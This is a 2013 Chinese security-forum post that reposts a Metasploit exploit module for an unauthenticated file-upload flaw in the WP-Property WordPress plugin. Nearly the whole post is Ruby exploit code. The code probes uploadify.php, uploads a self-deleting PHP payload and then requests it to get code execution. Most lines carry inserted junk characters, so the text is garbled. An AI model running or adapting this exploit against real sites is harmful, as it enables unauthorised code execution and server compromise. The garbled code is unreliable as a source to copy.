找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2232|回复: 0
打印 上一主题 下一主题

WordPress WP-Property PHP 文件上传漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-4 19:51:30 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
WordPress WP-Property PHP 文件上传漏洞; s5 g+ U, \7 ^
  i; v4 c. L, k9 q! k# h$ ?
## # This file is part of the Metasploit Framework and may be subject to
3 J# b) [8 O. p; ~9 |; M
% M6 `# m( ~- V+ ?4 ?" U# redistribution and commercial restrictions. Please see the Metasploit7 g0 T* O5 \0 p4 d5 F/ g
5 J  K" f4 X  Q, Q
# Framework web site for more information on licensing and terms of use.
( ]. H( x* x0 v% e: x. E
* Q2 n, N4 W+ s#   http://metasploit.com/framework/ ##
  Z# g, J# O: L1 g) k7 I% M
' X5 K+ {" Y2 O$ \ 7 }6 O( [, i: B

5 Q! |" |- u% d. M* Z1 V
8 ^/ Y( ?3 r' S! j. o1 n8 K) J: v$ R4 T( S
require 'msf/core'' a/ W- O! @$ I5 I% d
require 'msf/core/exploit/php_exe'
7 I2 ?7 @) {3 n
3 i& O: |# J' ?0 |class Metasploit3 < Msf::Exploit::Remote     Rank = ExcellentRanking       include Msf::Exploit::Remote::HttpClient     include Msf::Exploit:hpEXE       def initialize(info = {})         super(update_info(info,             'Name'           => 'WordPress WP-Property PHP File Upload Vulnerability',
5 \9 n  H" L0 g, q2 E% Q" h'Description'    => %q{
7 [# F9 x" |) R# f' c# nThis module exploits a vulnerability found in WP-Property <= 1.35.0 WordPress                 plugin. By abusing the uploadify.php file, a malicious user can upload a file to a                 temp directory without authentication, which results in arbitrary code execution.             },             'Author'         =>: z4 J# h3 k% Q" M. t% ~
[: W$ @% l: Z; u6 @. M
'Sammy FORGIT', # initial discovery/ j& D1 F# V- ~2 g
'James Fitts <fitts.james[at]gmail.com>' # metasploit module
+ L8 S# `3 F+ @. J],0 a0 j, }" d) c6 F
'License'        => MSF_LICENSE,+ t. q) F4 D" I* q2 J! J
'References'     =>
5 N' m/ ^, b6 v9 B+ c! S5 C4 x* Y[, @1 N$ j" L; `. i
[ 'OSVDB', '82656' ],0 X2 V  O. Q/ l; m+ ]8 `5 M* m
[ 'BID', '53787' ],
/ O4 W4 P& J2 O: F4 X[ 'EDB', '18987'],
0 s2 R  [, G( ^" [2 M. L3 c[ 'URL', 'http://www.opensyscom.fr/Actualites/wordpress-plugins-wp-property-shell-upload-vulnerability.html' ]9 K5 ^0 x: G2 r' f& x( }4 q
],8 B% j( @" F: d, r! F, M
'Payload'        =>
8 }+ U8 G' E- z4 J% C' `- K2 M  y{
* O4 a7 e7 O6 W" L6 t! K'BadChars' => "\x00",
/ k+ Z/ D& r" F: a5 o+ v},
2 {' o2 C$ {1 J4 w2 F'Platform'       => 'php',3 \& ~$ x$ x% M7 l7 D
'Arch'           => ARCH_PHP,# Q( c7 U0 u! f0 F! G
'Targets'        =>/ H9 W& _9 S7 I  [
[! E& w5 H6 X* H) G* @6 Q! i
[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],& v' m) ^- d; y8 o
[ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]* @7 b) j( r+ H7 j  l$ E2 ?; ]
],
; w) R0 w- J0 a* X3 e'DefaultTarget'  => 0,  c' T. R. ^( Q' K% s* b% G
'DisclosureDate' => 'Mar 26 2012'))
/ u) Z& M; u  j& n* e% f5 a1 ^5 |; \; c3 h: T& G- C- t+ {
register_options(! ^* O4 M& \5 Z# v( e" a& [
[
0 x! n8 r) @* x2 t" E8 iOptString.new('TARGETURI', [true, 'The full URI path to WordPress', '/wordpress'])
* T3 j5 I; n% m7 j], self.class)
3 M" [1 q+ O  N, R4 Z" Uend
  l: e/ h4 Z" N" T- R' W. G6 d! w9 U- A5 \" \( j5 n& Y7 v
def check
8 @' l5 S) ]5 F- Z$ Y8 `; Euri =  target_uri.path
# T1 ]$ H3 T* Q4 j1 {( Suri << '/' if uri[-1,1] != '/'           res = send_request_cgi({             'method' => 'GET',
- i* d3 L4 ~0 p7 _( r'uri'    => "#{uri}wp-content/plugins/wp-property/third-party/uploadify/uploadify.php"4 ^6 M9 s/ f* J2 J
})5 ~0 B; }; X; z5 l

$ E- n) u( d: Hif not res or res.code != 200" J# a$ D# p0 N! U' S1 F* y& C/ B4 q
return Exploit::CheckCode::Unknown; g4 [( {/ s: y/ [3 D; x# |7 g
end' g' P+ v: _7 C' s2 W) _) u
$ q5 i( N9 u+ H- Q/ C
return Exploit::CheckCode::Appears+ `) g9 c4 H3 w8 O- R' S
end( ^/ F. C8 @: N+ I6 s. @
2 h* Y8 e, z% _; {* }  j0 {2 e
def exploit
  s! \1 L! B* @uri =  target_uri.path$ ^7 t' g& q6 ~: F; P0 I0 e" y! ~
uri << '/' if uri[-1,1] != '/'           peer = "#{rhost}:#{rport}"           @payload_name = "#{rand_text_alpha(5)}.php"         php_payload = get_write_exec_payload(:unlink_self=>true)! {' @: P- Z0 X; u+ L: d

, i* Z/ u4 f6 E  Xdata = Rex::MIME::Message.new! o1 F( p+ ]% ^8 w/ X
data.add_part(php_payload, "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{@payload_name}\""), V1 k" X5 a# |6 k- J2 p
data.add_part("#{uri}wp-content/plugins/wp-property/third-party/uploadify/", nil, nil, "form-data; name=\"folder\"")  r; ^7 n& t, I& \4 y) O2 c+ b
post_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')
8 O' p% Z1 }5 z: Q5 T( K/ E8 l
) n' _  ], j  y8 W2 u4 N# B4 O" gprint_status("#{peer} - Uploading payload #{@payload_name}")2 Q* x2 s2 ~7 x3 v3 F8 f# v
res = send_request_cgi({
/ f* V. b* n8 S5 {) t'method' => 'POST',- X7 [, h1 n3 M
'uri'    => "#{uri}wp-content/plugins/wp-property/third-party/uploadify/uploadify.php",
8 p# d4 p( f5 `9 |' Z9 \'ctype'  => "multipart/form-data; boundary=#{data.bound}",
0 L# S- P7 r' y3 ]2 b; c/ y' y'data'   => post_data8 f& \* K0 Y3 _+ @  F
})9 L' [$ \; B( v% l0 R

8 ^# h3 u& ~$ t$ Q( o" yif not res or res.code != 200 or res.body !~ /#{@payload_name}/7 U+ q) t8 I" I) C- o5 S
fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Upload failed")
4 E2 C: y$ M# A! _/ lend) h5 j- F- Q6 ?1 t+ s4 r

5 B5 d3 O2 [, I" N, |2 e1 Pupload_uri = res.body4 h. f, D2 r6 V, ^
& |6 X) k4 P0 d
print_status("#{peer} - Executing payload #{@payload_name}")
, |4 b4 W9 z8 F$ q- u! A& mres = send_request_raw({
# [% J5 D+ s' k$ F5 g7 z1 U, e'uri'    => upload_uri,# U4 Q. @6 i; _7 Z) a; F0 r6 f
'method' => 'GET'
: @2 g2 b$ ?9 p! x. h2 U( \4 u})
; f4 w/ {6 @1 rend; M5 d$ d2 t+ s0 l
end$ M5 F2 N& D7 R7 l; ^

/ m. H/ p0 M1 V2 `5 M不要问我这写的是什么 怎么利用 我是说msf.
6 ?2 G2 G' _% Q- }/ V, j* D3 l* |: @7 t& o# t: R7 ^9 D  k
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表